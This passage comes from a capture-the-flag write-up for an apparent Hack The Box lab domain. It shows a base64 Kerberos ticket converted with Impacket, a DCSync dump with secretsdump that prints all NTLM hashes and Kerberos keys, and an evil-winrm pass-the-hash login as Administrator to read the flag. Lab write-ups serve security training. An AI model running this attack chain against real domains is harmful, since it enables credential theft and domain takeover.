mWeB9ZlyF2xj6vVsC8OVQNQ2nZSwgXTxL7EYFcLXPvPCHgB6Pa9O7/ebR/Na0gobujihXn/VPC97L/4clK0OtACEkT3DcPfvvR+qzfaxfsPuRhy2hZRuCXRo9cne1z7tjU49H2B1RkcLn4RTm1q71tS+xsAG4Q39GzJwkJE5o+AhFroL1C4G3jRouo462oqToETkqxi9rs03OAysuvhAeTICi4jZK/bRqaIOlBATjnXmmTBx1Ef4z+pYcL/GaUFQpWkadMFtxSFHMFtiU8cJWugpu6v/iWh2Ki9m5NaFqcz5IDAgk8mTzFkS+v1/5ZPBXVmbYQLdJjAft2u0gKmqo/8hAsZ5USHLhpMxjCwt4AhGcCj0eFYMAfkHMCQ2gDqQ13GCBrhWn3mPZ/5u/WaWpfJLcN24yJj+lWEcuvwX2ZjAijq/i3eiY+TEkzlJh7Qf+IDyN3NooyUpk69Qt0jB/xAmi6IzivwbDQ6oUN3dkjQFHRB1x3OQ2qRO6Apt5EwmETt6IkY+Js6w7ODs8REi0BAGTTE7rt6wNpRPnbdY45hfmlCNy/V1Y18FwHkPdAPj3mpk6t70UG+P7CHGsGYbP3JKX+Twk+B7+avi0Jp/3A8Q7Mc+oz8a0rlcCPrzxU1C+Qi+O6nUZpTyBFO6M6iu4o4HbMIHYoAMCAQCigdAEgc19gcowgceggcQwgcEwgb6gKzApoAMCARKhIgQgkp07DjDE5Q8nJZ/k/Ss2cJBG1Ic/KtNaTAyIcu3yWomhDBsKRkxJR0hULkhUQqIQMA6gAwIBAaEHMAUbA0cwJKMHAwUAYKEAAKURGA8yMDI2MDcxMDA2NDYxNVqmERgPMjAyNjA3MTAxNjQ2MTVapxEYDzIwMjYwNzE3MDY0NjE1WqgMGwpGTElHSFQuSFRCqR8wHaADAgECoRYwFBsGa3JidGd0GwpGTElHSFQuSFRC
now convert it in usable form
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ echo 'doIFVDCCBVCgAwIBBaEDAgEWooIEZDCCBGBhggRcMIIEWKADAgEFoQwbCkZMSUdIVC5IVEKiHzAdoAMCAQKhFjAUGwZrcmJ0Z3QbCkZMSUdIVC5IVEKjggQgMIIEHKADAgESoQMCAQKiggQOBIIEChsH4pisIq4x8HMxYam5UEeR9OmyrunDge3oplGhRPqxsYfjY6SYkJ0QrKdENSVeROB/P/+L+C0rE5kfFb7dnW196JBuCIWM2573LBgjCTPQeO4uRPh1fOwqHISTlWcDtjC7aayJtrQCvcxz0MUlQo63UiruZcJip5MyTNRSs696XeYwFnGfBInlW/mChN5gEJGOTCtJ56ibNqTp/uhdWB2S7JnaVRgDlLmKOSxWeUYev6UUID+wTyPj1Xjc42l6wQbycd9hwddiet5iUXKQ5RfeYUGeJgxwUoR/w+4vg4W1YwGbXTRJNP+CDFsmHvP6FKy142Chk1NGbDRnA0GJ3S89bnRP9hEHa04wprowm4ce+kwbDqyLPyN9Y9ALk4morYGQQfmSr291dga1ns6gFrejArpqia9v+qHxJ9P0yNcqGtfnO4oGggC0DOBWcH9EhUTXn2JAGCcGu8YeXx8+7ykcGarHBBH3/zgdqqRedQFnbCBj0YvPtlOXrGzOwQpWDD3HJIBY9wcB5OdJcAdOEsK2W8a9XOReOVhIxvbnk0CVNdSx5Aeat3njNhI3gQfBuFvULImT7dzdBZyuBnWnL1abxWh9gv5GvXuWmZPof2WC+XvN4PKnp15vrGhA7xmgP0eWAJBjAcwQq4RlvN1UCtjPhD3VcKRMomMF10QxtAb7sd/WUEtn6H1pCRAXsjb2hn4vO4lgkZUPagVmWeB9ZlyF2xj6vVsC8OVQNQ2nZSwgXTxL7EYFcLXPvPCHgB6Pa9O7/ebR/Na0gobujihXn/VPC97L/4clK0OtACEkT3DcPfvvR+qzfaxfsPuRhy2hZRuCXRo9cne1z7tjU49H2B1RkcLn4RTm1q71tS+xsAG4Q39GzJwkJE5o+AhFroL1C4G3jRouo462oqToETkqxi9rs03OAysuvhAeTICi4jZK/bRqaIOlBATjnXmmTBx1Ef4z+pYcL/GaUFQpWkadMFtxSFHMFtiU8cJWugpu6v/iWh2Ki9m5NaFqcz5IDAgk8mTzFkS+v1/5ZPBXVmbYQLdJjAft2u0gKmqo/8hAsZ5USHLhpMxjCwt4AhGcCj0eFYMAfkHMCQ2gDqQ13GCBrhWn3mPZ/5u/WaWpfJLcN24yJj+lWEcuvwX2ZjAijq/i3eiY+TEkzlJh7Qf+IDyN3NooyUpk69Qt0jB/xAmi6IzivwbDQ6oUN3dkjQFHRB1x3OQ2qRO6Apt5EwmETt6IkY+Js6w7ODs8REi0BAGTTE7rt6wNpRPnbdY45hfmlCNy/V1Y18FwHkPdAPj3mpk6t70UG+P7CHGsGYbP3JKX+Twk+B7+avi0Jp/3A8Q7Mc+oz8a0rlcCPrzxU1C+Qi+O6nUZpTyBFO6M6iu4o4HbMIHYoAMCAQCigdAEgc19gcowgceggcQwgcEwgb6gKzApoAMCARKhIgQgkp07DjDE5Q8nJZ/k/Ss2cJBG1Ic/KtNaTAyIcu3yWomhDBsKRkxJR0hULkhUQqIQMA6gAwIBAaEHMAUbA0cwJKMHAwUAYKEAAKURGA8yMDI2MDcxMDA2NDYxNVqmERgPMjAyNjA3MTAxNjQ2MTVapxEYDzIwMjYwNzE3MDY0NjE1WqgMGwpGTElHSFQuSFRCqR8wHaADAgECoRYwFBsGa3JidGd0GwpGTElHSFQuSFRC' > ticket.b64
❯ base64 -d ticket.b64 > ticket.kirbi
❯ ticketConverter.py ticket.kirbi ticket.ccache
Impacket v0.14.0.dev0+20260619.174856.9a5621d4 - Copyright Fortra, LLC and its affiliated companies
[*] converting kirbi to ccache...
[+] done
❯ export KRB5CCNAME=ticket.ccache
❯ klist
Ticket cache: FILE:ticket.ccache
Default principal: G0$@FLIGHT.HTB
Valid starting Expires Service principal
07/10/2026 12:16:15 07/10/2026 22:16:15 krbtgt/FLIGHT.HTB@FLIGHT.HTB
renew until 07/17/2026 12:16:15
now abuse DCSync
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
❯ faketime -f "+7h" secretsdump.py -k -no-pass g0.flight.htb
Impacket v0.14.0.dev0+20260619.174856.9a5621d4 - Copyright Fortra, LLC and its affiliated companies
[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:43bbfc530bab76141b12c8446e30c17c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6a2b6ce4d7121e112aeacbc6bd499a7f:::
S.Moon:1602:aad3b435b51404eeaad3b435b51404ee:f36b6972be65bc4eaa6983b5e9f1728f:::
R.Cold:1603:aad3b435b51404eeaad3b435b51404ee:5607f6eafc91b3506c622f70e7a77ce0:::
G.Lors:1604:aad3b435b51404eeaad3b435b51404ee:affa4975fc1019229a90067f1ff4af8d:::
L.Kein:1605:aad3b435b51404eeaad3b435b51404ee:4345fc90cb60ef29363a5f38e24413d5:::
M.Gold:1606:aad3b435b51404eeaad3b435b51404ee:78566aef5cd5d63acafdf7fed7a931ff:::
C.Bum:1607:aad3b435b51404eeaad3b435b51404ee:bc0359f62da42f8023fdde0949f4a359:::
W.Walker:1608:aad3b435b51404eeaad3b435b51404ee:ec52dceaec5a847af98c1f9de3e9b716:::
I.Francis:1609:aad3b435b51404eeaad3b435b51404ee:4344da689ee61b6fbbcdfa9303d324bc:::
D.Truff:1610:aad3b435b51404eeaad3b435b51404ee:b89f7c98ece6ca250a59a9f4c1533d44:::
V.Stevens:1611:aad3b435b51404eeaad3b435b51404ee:2a4836e3331ed290bd1c2fd2b50beb41:::
svc_apache:1612:aad3b435b51404eeaad3b435b51404ee:f36b6972be65bc4eaa6983b5e9f1728f:::
O.Possum:1613:aad3b435b51404eeaad3b435b51404ee:68ec50916875888f44caff424cd3f8ac:::
G0$:1001:aad3b435b51404eeaad3b435b51404ee:140547f31f4dbb4599dc90ea84c27e6b:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:08c3eb806e4a83cdc660a54970bf3f3043256638aea2b62c317feffb75d89322
Administrator:aes128-cts-hmac-sha1-96:735ebdcaa24aad6bf0dc154fcdcb9465
Administrator:des-cbc-md5:c7754cb5498c2a2f
krbtgt:aes256-cts-hmac-sha1-96:fb234268e90162081d11b7e9d5097091be02f42c25eec0d4bbf8a2442e9d40d0
krbtgt:aes128-cts-hmac-sha1-96:19d9549f8e011231c9a755e0b7d7695f
krbtgt:des-cbc-md5:9bf8155161a8e09e
S.Moon:aes256-cts-hmac-sha1-96:48de57e200e25b1c3af677e7b51eee7c56aa414b9420578f0589cbb511289505
S.Moon:aes128-cts-hmac-sha1-96:f7caecaae1d9b440b9967018e3e51b9d
S.Moon:des-cbc-md5:2ab6a4c4c273d67a
R.Cold:aes256-cts-hmac-sha1-96:296926d640823978cfd8dea60b749e853a37f761446af0b395b631098a90140b
R.Cold:aes128-cts-hmac-sha1-96:309cb9b5651626b3a46b61d329a1cf6a
R.Cold:des-cbc-md5:91b91079a80dd9c1
G.Lors:aes256-cts-hmac-sha1-96:bfaf4779007a83d75a380271bce1604f68d76559456598a0411f0806492ff41e
G.Lors:aes128-cts-hmac-sha1-96:2691b47070c034f62ece4666dedf634d
G.Lors:des-cbc-md5:a8dffd9bd9768ad9
L.Kein:aes256-cts-hmac-sha1-96:c6e0c7ccb7dda382cb67568c46790fa76197a064d116f9c3174c371f9fd55b16
L.Kein:aes128-cts-hmac-sha1-96:de4fc76e315dd8575b53762ca0f02567
L.Kein:des-cbc-md5:9e34f7dc58a843b9
M.Gold:aes256-cts-hmac-sha1-96:c78fcdf6d24c4dc97c8529f4e553c8a40ce09f2bf7070015dadec0d6a0a2c2e9
M.Gold:aes128-cts-hmac-sha1-96:8e493fabfc5934d170803d9f72edba63
M.Gold:des-cbc-md5:c10ee3d32f404015
C.Bum:aes256-cts-hmac-sha1-96:13979a025f384f0a4bee1f2a9ce070153415401cac19a955aa4a481aaf756917
C.Bum:aes128-cts-hmac-sha1-96:4b55f9b30586369b51895978d156a487
C.Bum:des-cbc-md5:efea1abca840ba9b
W.Walker:aes256-cts-hmac-sha1-96:8550cc8578c70eac932e6ab1de4bbd1e89cf29c4e085d65e0b08fc612a6020c1
W.Walker:aes128-cts-hmac-sha1-96:c071b18454a6624ddde12c9ddf6d8d08
W.Walker:des-cbc-md5:efa25eeac237b5fe
I.Francis:aes256-cts-hmac-sha1-96:832a16b70c274b3304d1a7acad1436dd882da176328bd201720273661989dd30
I.Francis:aes128-cts-hmac-sha1-96:24de7c367fee08862eab61bca6c94ecd
I.Francis:des-cbc-md5:57aebf1af41ff768
D.Truff:aes256-cts-hmac-sha1-96:e3a0f167df5320065d33035d2dd9c8fc11d11d6444073b5f826b5a9dd7fb33ff
D.Truff:aes128-cts-hmac-sha1-96:972d4bd171f9ff3a09e1f7463fe32114
D.Truff:des-cbc-md5:febc6b491c197326
V.Stevens:aes256-cts-hmac-sha1-96:f6ef7602f72072c7d8d52fa5b2bc479ab20e6f9a69e190a9681901c46583a078
V.Stevens:aes128-cts-hmac-sha1-96:466605520d9643b9ea77016aa1d2d530
V.Stevens:des-cbc-md5:a8e54fb90154fdce
svc_apache:aes256-cts-hmac-sha1-96:582dc5b5e2db775a9dee7b4ebc55f58811548a0682ac4bceb21de579385be9c3
svc_apache:aes128-cts-hmac-sha1-96:9bc038f14a0a0ff99f90ee88eaa8e92f
svc_apache:des-cbc-md5:feb09ece8f3d453e
O.Possum:aes256-cts-hmac-sha1-96:042649ac9128597203cc88d0130af2708c1c77004c57b1c9979bb8c6af75b502
O.Possum:aes128-cts-hmac-sha1-96:fcb7ed22eb484c773969089fe39d9d40
O.Possum:des-cbc-md5:cdd0972cec1f2625
G0$:aes256-cts-hmac-sha1-96:11ad9a25157bdc6e7fd9df6c0872c33d790f7660c6f5e6ea526996b808e4d7bb
G0$:aes128-cts-hmac-sha1-96:fa0d7c35e273ae2121d1e3c54b19c3cf
G0$:des-cbc-md5:463d9edadc20e308
[*] Cleaning up...
now pass the hash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯ evil-winrm -i 10.129.2.214 -u administrator -H 43bbfc530bab76141b12c8446e30c17c
Evil-WinRM shell v3.9
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..\Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 7/9/2026 10:15 PM 34 root.txt
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
[snip]
*Evil-WinRM* PS C:\Users\Administrator\Desktop>
This post is licensed under CC BY 4.0 by the author.